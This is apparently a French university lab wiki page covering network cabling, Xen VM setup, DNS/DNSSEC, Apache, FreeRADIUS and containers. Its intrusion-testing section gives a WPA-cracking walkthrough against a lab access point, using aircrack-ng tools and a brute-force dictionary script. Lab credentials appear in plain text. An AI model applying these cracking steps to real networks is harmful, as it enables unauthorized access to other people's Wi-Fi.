&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/eap.conf :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
== 5. Tests d'intrusion ==&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;br /&gt;
&lt;br /&gt;
Le crack est effectué en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -a2 -b 04:DA:D2:9C:50:56  -w /path_to_file/dictionnaire.txt /path_to_file/*.cap&lt;br /&gt;
&lt;br /&gt;
Nous récupérons la clé après quelques heures de calcul :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack groupe7.png|600px]]&lt;br /&gt;
&lt;br /&gt;
== 6. Réalisation ==&lt;br /&gt;
&lt;br /&gt;
===6.1 Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Création de trois partitions LVM de 1Go sur Cordouan : &lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule1 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule2 -v&lt;br /&gt;
  lvcreate -L 1G -n /dev/virtual/hercule3 -v&lt;br /&gt;
&lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :&lt;br /&gt;
&lt;br /&gt;
  'phy:/dev/virtual/hercule1,xvdc1,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule2,xvdc2,w',&lt;br /&gt;
  'phy:/dev/virtual/hercule3,xvdc3,w'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Installation du paquetage mdadm pour réaliser le RAID5 logiciel :&lt;br /&gt;
  apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
Création du RAID5 :&lt;br /&gt;
  mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
&lt;br /&gt;
On formate le RAID créé : &lt;br /&gt;
  mkfs -t ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
On le monte :&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48809</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48809"/>
				<updated>2018-12-17T14:54:55Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 6. Réalisation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
